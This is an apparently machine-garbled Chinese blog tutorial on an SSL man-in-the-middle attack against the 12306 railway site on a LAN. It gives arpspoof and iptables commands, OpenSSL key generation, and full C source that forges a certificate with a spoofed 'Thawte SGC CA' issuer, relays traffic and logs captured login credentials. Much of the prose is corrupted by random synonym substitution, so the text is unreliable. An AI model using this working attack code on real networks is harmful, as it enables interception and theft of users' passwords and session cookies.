国办签发家长意见赞成小微企业退居二线养老金和"三农"进步_分管_二建法规企业制度-政府采购现货公司信息网网  >  局域网内指向自制电脑证书过期怎么弄美国纽约租房网站的SSL中间人攻击 – 有道深圳职业技术学院沙龙博客  >  领导活动 > 正文
局域网内指向自制电脑证书过期怎么弄美国纽约租房网站的SSL中间人攻击 – 有道深圳职业技术学院沙龙博客

文章电影泉源:前不久最近新闻当中  颁布时光:07-04

孔祥欣(尖端开拓工程师)

对此网络机顶盒上上书的两个人,我们怎的窃取她俩的上书现货公司信息网而又不被她俩发现呢?一种通用的做法实属中间人攻击。所谓的中间人攻击实属穿过某种深圳职业技术学院教学措施与教学手段将攻击者放置在上书的两个人之间,拦截并分析她俩的上书流量,然后在将流量转发放对方。

如下图所示,Alice和Bob以为她俩是穿过虚线上书的,实际控制人上是穿过实线由Malicious转发的,这里Malicious实属一个中间人,他了不起看来Alice和Bob之间的漫天上书现货公司信息网。

以便防患未然中间人攻击,Alice和Bob决定使用SSL筹商。

SSL,即Secure Sockets Layer,是为网络机顶盒上书供给一路平安性及数据英语完整性的一种一路平安筹商,介于传输层和应用层之间。SSL的首要饭碗原理如下:

  1. 使用对方电脑证书过期怎么弄里的签名认可对方身份证查询;
  2. 在要传输的数据英语的尾部添加校验码;
  3. 使用对方电脑证书过期怎么弄中的公钥加密传输数据英语和校验码,防患未然中途窃取;
  4. 对方使用自我电脑证书过期怎么弄对应的私钥解密数据英语,并验证校验码?防患未然中途篡改。

应用层筹商中的https实属使用了ssl行事筹商的子层,若是使用了https筹商,浏览器的地址栏里一般都会有提拔。

当Alice使用了ssl筹商和Bob上书时,在没了Bob私钥的情况下,Malicious即使获取了Alice给Bob的上书数据英语也独木难支解密。

这个过程中有一个关键洞察力的步骤,实属“使用对方电脑证书过期怎么弄里的签名认可对方身份证查询”,要是Alice一开始就错认Malicious为Bob的话,那后摆式列车一切就都没了意义了。好在这点并不容易做起,因为在实际控制人的网络机顶盒上书中,Bob一般都是像Google这样的权威美国纽约租房网站,她俩的电脑证书过期怎么弄都是有权威电脑证书过期怎么弄刊行医疗机构管理条例刊行的,木本不可能被伪造,只要Malicious使用自我生成的电脑证书过期怎么弄仿冒Bob的话,在Alice作客的时候,浏览器会产出类似下图的提拔。

只要Alice不选择后续作客,就不会有漫天面试问题及答案。

读者理当了不起发现,SSL筹商是允当一路平安的,只要Alice不认可了Malicious伪造的电脑证书过期怎么弄,Malicious的攻击就不会到位,而且这个过程中,浏览器也弹出了警告,储户很容易就会发现面试问题及答案。

但并不是所有美国纽约租房网站的电脑证书过期怎么弄都是由权威医疗机构管理条例刊行的,这就给了攻击者以可乘之机。假设Bob的电脑证书过期怎么弄不是权威医疗机构管理条例刊行的,Alice作客Bob的时候本来就会弹出警告,Alice以便后续作客Bob,不得不认可这个电脑证书过期怎么弄,而这时恰好Malicious穿过深圳职业技术学院教学措施与教学手段嵌入Alice和Bob的上书链路当中,然后冒充Bob和Alice上书,那么Alice就会认可Malicious的电脑证书过期怎么弄,从而使得Malicious的攻击达成。

下面我们就按照这个思路,在局域网内指向自制电脑证书过期怎么弄的美国纽约租房网站做一次SSL中间人攻击。

场景分析

以便力所能及到位攻击,我们要求达成以下几个环境:

  1. 攻击者要求化为储户和该美国纽约租房网站的中间人;
  2. 要攻击的美国纽约租房网站的电脑证书过期怎么弄不是由权威医疗机构管理条例刊行的;
  3. 储户接受了伪造的电脑证书过期怎么弄;

以便化为中间人,攻击者不但要能同日和服务器,客户端上书,还要嵌入到服务器和客户端的上书链路之中,将服务器的数据英语转发放客户端,将客户端的数据英语转发放服务器。贯彻这样目的图片的教学措施与教学手段有多种维生素片,相形之下常见的有DNS劫持和局域网ARP欺骗。本次实验便是在局域网中穿过ARP欺骗来贯彻中间人的。

使用ARP欺骗后,被攻击者的流量将被驶向攻击者,攻击者要求将别样的流量转发放真正的网关是什么意思,而将SSL的流量转发到本地,以便本地主次做SSL中间人攻击。

以便让本地主次展开SSL中间人攻击,我们要求监听被转发到本地的流量,从中得知被攻击者要连接的服务器地址,然后分别与被攻击者和真正的服务器白手起家SSL连接,我们在这两个连接之间转发数据英语,这样便了不起得到被攻击者和服务器之间互动的数据英语始末了。

与服务器白手起家的SSL连接和普通的SSL连接没了甚么反差,在服务器看来,我们和真正的客户端是一样的,但是和被攻击者白手起家的连接就各别了。被攻击者并不想连接我们,我们实际控制人上伪装成了真正的服务器。这个过程中,我们要求展开伪造密钥和电脑证书过期怎么弄等步骤,以便到位伪装成服务器的任务中国。

本次实验的目标管理美国纽约租房网站选择12306。之所以选择12306,是因为12306的电脑证书过期怎么弄不是由权威医疗机构管理条例刊行的,即使正常作客,浏览器也会弹出警告,所以储户很有可能会接受伪造的电脑证书过期怎么弄。

穿过以上的分析,我们曾经了解了攻击的步骤,下面就开始着手准备。

实验环境和目标管理

我们续建了如下的实验环境。局域网中有两台主机,主机A(IP:192.168.200.121)和主机B(IP:192.168.200.122)?它们穿过一个NAT网关是什么意思(IP:192.168.200.1)和外网相连,A和B只有一个网卡,接口均为eth0。其中主机A是攻击机,主机B是被攻击机,操作伦次均为Ubuntu14.04。

以便检验SSL中间人攻击的效用,本次实验的目标管理是,当主机B的储户穿过https签到12306时,在主机A截获其签到的储户名密码和明码。

攻击过程

我们的攻击将分为以下几个步骤,其中红色标出的为推行的命令,一般都要求在root权限下推行,蓝色的是隐私部分C代码,使用gcc-4.8.2编译。

1.劫持主机B

我们使用ARP欺骗的措施劫持主机B。

所谓的ARP筹商,实属地址解析筹商。在TCP/IP网络机顶盒环境下,每个主机都有一个IP地址。但IP地址只有在网络机顶盒层以上才顶事。而在数据英语链路层,以便将报文从一个主机发往另一个主机,须要知道目的图片主机的物理地址,这实属MAC地址。这样就有从IP地址到MAC地址的转换过程,而ARP筹商实属展开这种转换时使用的筹商。而所谓ARP欺骗。实属在IP地址到MAC地址的转换过程中展开欺骗,使得IP地址转换为错误651的MAC地址,从而将流量驶向错误651的四川省地方税务局的攻击了局。

在linux下有很多展开ARP攻击的win7激活工具,我们使用arpspoof展开ARP欺骗。在Ubuntu14.04命令行下使用如下命令

apt-get install dsniff

安装dsniff软件包之后,便了不起使用arpspoof命令展开ARP欺骗了。arpspoof命令的使用措施是

arpspoof [-i interface] [-t target] host

即向IP为target的主机声称自我的MAC地址是IP为host的主机的MAC地址。

以便化为中间人,我们要求伪装成网关是什么意思,以便让主机B认为主机A是网关是什么意思,应有在命令行下推行如下命令:

arpspoof -i eth0 -t 192.168.200.122 192.168.200.1

在推行完该命令后,原本能上网的主机B不能上网了,这是因为原本理当发往网关是什么意思的报文都被发往了主机A的缘故。到此,我们便到位的劫持了主机B下发的流量。

2.化为中间人

单纯劫持主机B后,主机B便不能上网了,这样主机B很容易发现面试问题及答案,所以我们还要进一步料理,将劫持的流量发往真正的网关是什么意思。了不起穿过使用集成在linux内核中的iptables贯彻我们的目的图片。

Iptables不外乎很网络机顶盒存在多个出口过滤表,每个过滤表中了不起不外乎网络机顶盒存在多个出口规则链,每个规则链中还了不起不外乎很多的过滤规则,是一个十分强大的IP包过滤伦次。张开iptables的IP转发的措施是推行下摆式列车命令:

echo 1 > /proc/sys/net/ipv4/ip_forward

张开了IP转发之后,iptables将在linux内核中展开IP转发,本地的IP报文将交给本地的主次料理,不是本地的IP报文将穿过搜索内核中的路由表展开转发。由于我们没了举办路由表,非本地的IP报文默认被转发到真正的网关是什么意思。

然后,在iptables的nat表中的PREROUTING链中添加一个规则,将tcp流量中目的图片端口为443(即SSL连接)的流量转发到本地的8888端口,以便本地主次展开料理。

iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT –to-port 8888

nat表,实属在做NAT(Network Address Translation)时要求用到的表,而PREROUTING链,实属在搜索路由表之前会展开匹配的过滤规则链。但是我们使用它们并不是做NAT,而是使用了nat表中PREROUTING链的REDIRECT功能,即在linux内核搜索路由表之前,将符合环境的IP报文的源地址改动为本地,并将源端口改动为8888。

展开到此,我们曾经化为主机B和服务器中的中间人了。而主机B现时了不起连接http,但却不能连接https。因为SSL的流量都被转发到主机A的本地端口8888了。但还没了本地主次会料理它。下面。我们将编写本地主次到位劫持。

3.与主机B白手起家socket连接

我们使用socket监听8888端口,以便等待主机B的连接。该隐私部分封装到了socket_to_client_init函数中。

int socket_to_client_init(short int port) {

……

// 初始化一个socket,

sockfd = socket(AF_INET, SOCK_STREAM, 0);

……

// 将该socket绑定到8888端口上,

addr.sin_port = htons(port);

bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr);

……

// 然后监听该端口。

listen(sockfd, LISTEN_BACKLOG);

……

}

当主机B提议一个SSL连接时,我们在本地8888端口就了不起监听到连接,这时我们接受这个连接,并博取该链接的原始目的图片地址,以便后续连接服务器时使用。该隐私部分封装到了get_socket_to_client函数中。

int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) {

……

// 接受这个连接,

client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size);

……

// 穿过getsockopt函数博取socket中的SO_ORIGINAL_DST属性,得到报文被iptables重定向之前的原始目的图片地址。使用SO_ORIGINAL_DST属性要求不外乎头实木文件柜厂家

getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size)

……

}

这一步中值得注意的是,在当前的情景下,穿过getsockname等函数是独木难支正确博取链接的目的图片地址的,因为iptables在重定向报文到本地端口时,曾经将IP报文的目的图片地址改动为本地地址,所以getsockname等函数博取的都是本地地址而不是服务器的地址。

这时,我们便到位的劫持了主机B的socket连接,并且博取了主机B原始连接的服务器地址。接下来我们使用操作伦次的fork函数在建一个子进程料理接下来的事情,而主进程后续监听8888端口等待别样的连接。

4.与服务器白手起家socket连接

穿过博取的主机B链接的原始服务器地址,与服务器白手起家一个socket连接。这隐私部分封装到了get_socket_to_server函数中。

int get_socket_to_server(struct sockaddr_in* original_server_addr) {

……

// 初始化一个socket,

sockfd = socket(AF_INET, SOCK_STREAM, 0);

……

// 使用原始地址和真正的服务器白手起家一个socket连接。

connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr);

……

}

5.与服务器白手起家SSL连接

在与服务器白手起家了socket连接之后,我们就了不起白手起家SSL连接了。这里我们使用linux伦次中的openssl库来到位我们的接下来的饭碗。使用openssl要求不外乎两个头实木文件柜厂家。

服务器白手起家了socket连接隐私部分封装在SSL_to_server_init函数中。

SSL* SSL_to_server_init(int socket) {

……

// 在建一个CTX

ctx = SSL_CTX_new(SSLv23_client_method());

……

// 使用上面在建的CTX白手起家一个新的SSL连接

SSL *ssl = SSL_new(ctx);

……

}

在这之后,调用SSL_accept函数即可到位与服务器的SSL连接。

6.伪造电脑证书过期怎么弄并与主机B白手起家SSL连接

以便假冒服务器与主机B展开上书,我们要求假冒一个电脑证书过期怎么弄。以便大增攻击到位的可能性,我们以服务器真实的电脑证书过期怎么弄为蓝本,伪造一个假冒的电脑证书过期怎么弄。

在firefox浏览器选择一个电脑证书过期怎么弄并打开,我们会看来如下页面:

从中我们了不起看出,一个电脑证书过期怎么弄拥有如下的结构:

浏览器会查检电脑证书过期怎么弄中的刊行者,并在浏览器中搜索该电脑证书过期怎么弄刊行者的公钥,只要找回就用该公钥验证该电脑证书过期怎么弄,没了找回则报警。

我们伪造的电脑证书过期怎么弄没了办法造句避免浏览器报警,但了不起将刊行者一项伪造的极像一个合法的CA,并使用自我的私钥展开签名,而电脑证书过期怎么弄的别样隐私部分则照搬原始的电脑证书过期怎么弄,这样等浏览器告警,储户自我查检电脑证书过期怎么弄后,储户选择后续浏览的可能性也更大。于是我们采用动态生成电脑证书过期怎么弄的了局,而不是预先生成电脑证书过期怎么弄的了局。

以便伪造电脑证书过期怎么弄,首先要先生成密钥。密钥了不起是主次运转过程中动态生成的,但以便避免浏览器后续告警,储户每次浏览同一站点时,我们伪造的电脑证书过期怎么弄须要相同,所以密钥最好每次保持一致。于是,我们采用预先生成密钥并保存成实木文件柜厂家的了局,当主次起动时再加载。

Openssl库中曾经内置了生成密钥的win7激活工具,我们了不起使用一下命令生成密钥:

openssl genrsa -out private.key 1024

openssl rsa -in private.key -pubout -out public.key

这两条命令会在当前目录下生成两个实木文件柜厂家,private.key和public.key?分别存储了1024位的RSA私钥和对应的公钥。

有了相应的密钥后,我们便在主次中加载它们。加载密钥的代码被封装在create_key函数中。

EVP_PKEY* create_key() {

……

// 打开实木文件柜厂家并加载私钥

fp = fopen(“private.key”, “r”);

PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL);

……

// 打开实木文件柜厂家并加载公钥

fp = fopen(“public.key”, “r”);

PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL);

……

}

之后,我们便了不起伪造电脑证书过期怎么弄了,伪造电脑证书过期怎么弄的代码封装在create_fake_certificate函数中。

X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) {

……

// 从服务器获取电脑证书过期怎么弄并监制一个副本

X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server);

X509 *fake_x509 = X509_dup(server_x509);

……

// 改动电脑证书过期怎么弄中的字段

X509_NAME_add_entry_by_txt(issuer, “CN”, MBSTRING_ASC, “Thawte SGC CA”, -1, -1, 0);

……

// 重新举办副本的密钥为我们自我的密钥,并使用该密钥签名

X509_set_pubkey(fake_x509, key);

X509_sign(fake_x509, key, EVP_sha1());

……

}

伪造电脑证书过期怎么弄的任务中国到位了,然后我们调用SSL_to_client_init函数?

SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) {

……

// 生成一个新的CTX,并举办它使用的电脑证书过期怎么弄和密钥

ctx = SSL_CTX_new(SSLv23_server_method());

SSL_CTX_use_certificate(ctx, cert);

SSL_CTX_use_PrivateKey(ctx, key);

SSL_CTX_check_private_key(ctx);

……

// 在建一个SSL连接

SSL *ssl = SSL_new(ctx);

……

}

最后,调用SSL_accept函数到位与主机B的SSL连接。SSL中间人攻击到位,接下来就了不起抓取数据英语了。

7.转移数据英语并输出

我们将抓取数据英语的代码封装到transfer函数中。该函数首要是使用伦次的select函数同日监听服务器和客户端,并使用SSL_read和SSL_write什么布剪不断的在两个信道之间传承数据英语,并将数据英语输出到指定的实木文件柜厂家。

int transfer(SSL *ssl_to_client, SSL *ssl_to_server) {

……

fd_set fd_read;

while (1) {

……

select(max, &fd_read, NULL, NULL, &timeout);

……

if (FD_ISSET(socket_to_client, &fd_read)) {

……

}

if (FD_ISSET(socket_to_server, &fd_read)) {

……

}

}

}

汇总

以上的步骤为攻击设计时展开的步骤,而实际控制人攻击过程的步骤与上面讨论的有所各别,因为上摆式列车步骤会使得主机B断网,B会对攻击有所察觉,这在实际控制人的攻击过程中是不理当产出的。

假设我们的C主次编译的可推行实木文件柜厂家的实木文件柜厂家名为SSL_man_in_middle,并将其输出重定向到实木文件柜厂家ret,则经过调整顺序,实际控制人攻击的脚本如下:

iptables -t nat –flush

iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT –to-port 8888

openssl genrsa -out private.key 1024

openssl rsa -in private.key -pubout -out public.key

./SSL_man_in_middle > ret

echo 1 >/proc/sys/net/ipv4/ip_forward

arpspoof -i eth0 -t 192.168.200.122 192.168.200.1

当然,其中生成密钥的两行命令只有在第一次运转时才理当被包含。

实验新股申购结果查询

在主机A起动上摆式列车脚本。在主机B使用firefox浏览器作客12306时,产出如下警告,在选择后续作客后,就产出了12306的页面。

在12306的登陆页面上填写储户名密码和明码,然后在主机A的输出实木文件柜厂家ret中,搜索password字段,得到以下新股申购结果查询:

 

OST /otn/login/loginAysnSuggest HTTP/1.1Host: kyfw.12306.cnUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:33.0) Gecko/20100101 Firefox/33.0Accept: */*

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; @#@#@

X-Requested-With: XMLHttpRequest

Referer: https://kyfw.12306.cn/otn/login/init

Content-Length: 78

Cookie: JSESSIONID=0A01D498988F0DD98739CF9698B02E0AE221C4F4EC; BIGipServerotn=2564030730.38945.0000

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

loginUserDTO. user_name=test%40test.com&userDTO.password=testtest&randCode=e3rp

 

其得逞红的四川省地方税务局,便是我登陆时填写的储户名密码和明码。至此我们的攻击目标管理达成了。

最后附上攻击使用的代码:

#include

#include

#include #include #include #include #include #include #include #include   #include #include   #define LISTEN_BACKLOG 50   #define warning(msg) \ do { fprintf(stderr, “%d, “, sum); perror(msg); } while(0)   #define error(msg) \ do { fprintf(stderr, “%d, “, sum); perror(msg); exit(EXIT_FAILURE); } while (0)   int sum = 1; struct timeval timeout = { 0, 1000000 };   int get_socket_to_server(struct sockaddr_in* original_server_addr) { int sockfd;   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) error(“Fail to initial socket to server!”); if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) error(“Fail to connect to server!”);   printf(“%d, Connect to server [%s:%d]\n”, sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port)); return sockfd; }   int socket_to_client_init(short int port) { int sockfd; int on = 1; struct sockaddr_in addr;   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) error(“Fail to initial socket to client!”); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)   memset( addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; addr.sin_port = htons(port); if (bind(sockfd, (struct sockaddr*) error(“Fail to bind socket to client!”); } if (listen(sockfd, LISTEN_BACKLOG) shutdown(sockfd, SHUT_RDWR); error(“Fail to listen socket to client!”); }   return sockfd; }   int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) { int client_fd; struct sockaddr_in client_addr; socklen_t client_size = sizeof(struct sockaddr); socklen_t server_size = sizeof(struct sockaddr);   memset( memset(original_server_addr, 0, server_size); client_fd = accept(socket, (struct sockaddr *) client_size); if (client_fd warning(“Fail to accept socket to client!”); return -1; } if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, ; } printf(“%d, Find SSL connection from client [%s:%d]“, sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); printf(” to server [%s:%d]\n”, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));   return client_fd; }   void SSL_init() { SSL_library_init(); SSL_load_error_strings(); }   void SSL_Warning(char *custom_string) { char error_buffer[256] = { 0 };   fprintf(stderr, “%d, %s “, sum, custom_string); ERR_error_string(ERR_get_error(), error_buffer); fprintf(stderr, “%s\n”, error_buffer); }   void SSL_Error(char *custom_string) { SSL_Warning(custom_string); exit(EXIT_FAILURE); }   SSL* SSL_to_server_init(int socket) { SSL_CTX *ctx;   ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) SSL_Error(“Fail to init ssl ctx!”);   SSL *ssl = SSL_new(ctx); if (ssl == NULL) SSL_Error(“Create ssl error”); if (SSL_set_fd(ssl, socket) != 1) SSL_Error(“Set fd error”);   return ssl; }   SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) { SSL_CTX *ctx;   ctx = SSL_CTX_new(SSLv23_server_method()); if (ctx == NULL) SSL_Error(“Fail to init ssl ctx!”); if (cert key) { if (SSL_CTX_use_certificate(ctx, cert) != 1) SSL_Error(“Certificate error”); if (SSL_CTX_use_PrivateKey(ctx, key) != 1) SSL_Error(“key error”); if (SSL_CTX_check_private_key(ctx) != 1) SSL_Error(“Private key does not match the certificate public key”); }   SSL *ssl = SSL_new(ctx); if (ssl == NULL) SSL_Error(“Create ssl error”); if (SSL_set_fd(ssl, socket) != 1) SSL_Error(“Set fd error”);   return ssl; }   void SSL_terminal(SSL *ssl) { SSL_CTX *ctx = SSL_get_SSL_CTX(ssl); SSL_shutdown(ssl); SSL_free(ssl); if (ctx) SSL_CTX_free(ctx); }   EVP_PKEY* create_key() { EVP_PKEY *key = EVP_PKEY_new(); RSA *rsa = RSA_new();   FILE *fp; if ((fp = fopen(“private.key”, “r”)) == NULL) error(“private.key”); PEM_read_RSAPrivateKey(fp, if ((fp = fopen(“public.key”, “r”)) == NULL) error(“public.key”); PEM_read_RSAPublicKey(fp,   EVP_PKEY_assign_RSA(key,rsa); return key; }   X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) { unsigned char buffer[128] = { 0 }; int length = 0, loc; X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server); X509 *fake_x509 = X509_dup(server_x509); if (server_x509 == NULL) SSL_Error(“Fail to get the certificate from server!”); //    X509_print_fp(stderr, server_x509);   X509_set_version(fake_x509, X509_get_version(server_x509)); ASN1_INTEGER *a = X509_get_serialNumber(fake_x509); a->data[0] = a->data[0] + 1; //    ASN1_INTEGER_set(X509_get_serialNumber(fake_x509), 4); X509_NAME *issuer = X509_NAME_new(); //    length = X509_NAME_get_text_by_NID(issuer, NID_organizationalUnitName, //            buffer, 128); //    buffer[length] = ‘ ‘; //    loc = X509_NAME_get_index_by_NID(issuer, NID_organizationalUnitName, -1); //    X509_NAME_delete_entry(issuer, loc); X509_NAME_add_entry_by_txt(issuer, “CN”, MBSTRING_ASC, “Thawte SGC CA”, -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, “O”, MBSTRING_ASC, “Thawte Consulting (Pty) Ltd.”, -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, “OU”, MBSTRING_ASC, “Thawte SGC CA”, -1, -1, 0); X509_set_issuer_name(fake_x509, issuer); //    X509_set_notBefore(fake_x509, X509_get_notBefore(server_x509)); //    X509_set_notAfter(fake_x509, X509_get_notAfter(server_x509)); //    X509_set_subject_name(fake_x509, X509_get_subject_name(server_x509)); X509_set_pubkey(fake_x509, key); //    X509_add_ext(fake_x509, X509_get_ext(server_x509, -1), -1); X509_sign(fake_x509, key, EVP_sha1());   //    X509_print_fp(stderr, fake_x509);   return fake_x509; }   int transfer(SSL *ssl_to_client, SSL *ssl_to_server) { int socket_to_client = SSL_get_fd(ssl_to_client); int socket_to_server = SSL_get_fd(ssl_to_server); int ret; char buffer[4096] = { 0 };   fd_set fd_read;   printf(“%d, waiting for transfer\n”, sum); while (1) { int max;   FD_ZERO( FD_SET(socket_to_server, FD_SET(socket_to_client, max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1;   ret = select(max, timeout); if (ret SSL_Warning(“Fail to select!”); break; } else if (ret == 0) { continue; } if (FD_ISSET(socket_to_client, ret = SSL_read(ssl_to_client, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_server, buffer, ret)) { SSL_Warning(“Fail to write to server!”); break; } else { printf(“%d, client send %d bytes to server\n”, sum, ret); printf(“%s\n”, buffer); } } else { SSL_Warning(“Fail to read from client!”); break; } } if (FD_ISSET(socket_to_server, ret = SSL_read(ssl_to_server, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_client, buffer, ret)) { SSL_Warning(“Fail to write to client!”); break; } else { printf(“%d, server send %d bytes to client\n”, sum, ret); printf(“%s\n”, buffer); } } else { SSL_Warning(“Fail to read from server!”); break; } } } return -1; }   int main() { // 初始化一个socket,将该socket绑定到8888端口,并监听 int socket = socket_to_client_init(8888); // 从实木文件柜厂家读取伪造SSL电脑证书过期怎么弄时要求的RAS私钥和公钥 EVP_PKEY* key = create_key(); // 初始化openssl库 SSL_init();   while (1) { struct sockaddr_in original_server_addr; // 从监听的端口博取一个客户端的连接,并将该连接的原始目的图片地址存储到original_server_addr中 int socket_to_client = get_socket_to_client(socket, if (socket_to_client continue;   // 在建一个子进程料理后续孕妇事宜什么护肤品,主进程后续监听端口等待后续连接 if (!fork()) { X509 *fake_x509; SSL *ssl_to_client, *ssl_to_server;   // 穿过博取的原始目的图片地址,连接真正的服务器,博取一个和服务器连接的socket int socket_to_server = get_socket_to_server( // 穿过和服务器连接的socket白手起家一个和服务器的SSL连接 ssl_to_server = SSL_to_server_init(socket_to_server); if (SSL_connect(ssl_to_server) SSL_Error(“Fail to connect server with ssl!”); printf(“%d, SSL to server\n”, sum);   // 从服务器博取电脑证书过期怎么弄,并穿过这个电脑证书过期怎么弄伪造一个假的电脑证书过期怎么弄 fake_x509 = create_fake_certificate(ssl_to_server, key); // 使用假的电脑证书过期怎么弄和我们自我的密钥,和客户端白手起家一个SSL连接。SSL中间人攻击到位 ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key); if (SSL_accept(ssl_to_client) SSL_Error(“Fail to accept client with ssl!”); printf(“%d, SSL to client\n”, sum);   // 在服务器SSL连接和客户端SSL连接之间转移数据英语,并输出服务器和客户端之间上书的数据英语 if (transfer(ssl_to_client, ssl_to_server) printf(“%d, connection shutdown\n”, sum); SSL_terminal(ssl_to_client); SSL_terminal(ssl_to_server); shutdown(socket_to_server, SHUT_RDWR); shutdown(socket_to_client, SHUT_RDWR); X509_free(fake_x509); } } else { ++sum; } }   EVP_PKEY_free(key); return 0; } 分享到: 有道云笔记 QQ空间 新浪微博 人人网 腾讯微博 前戏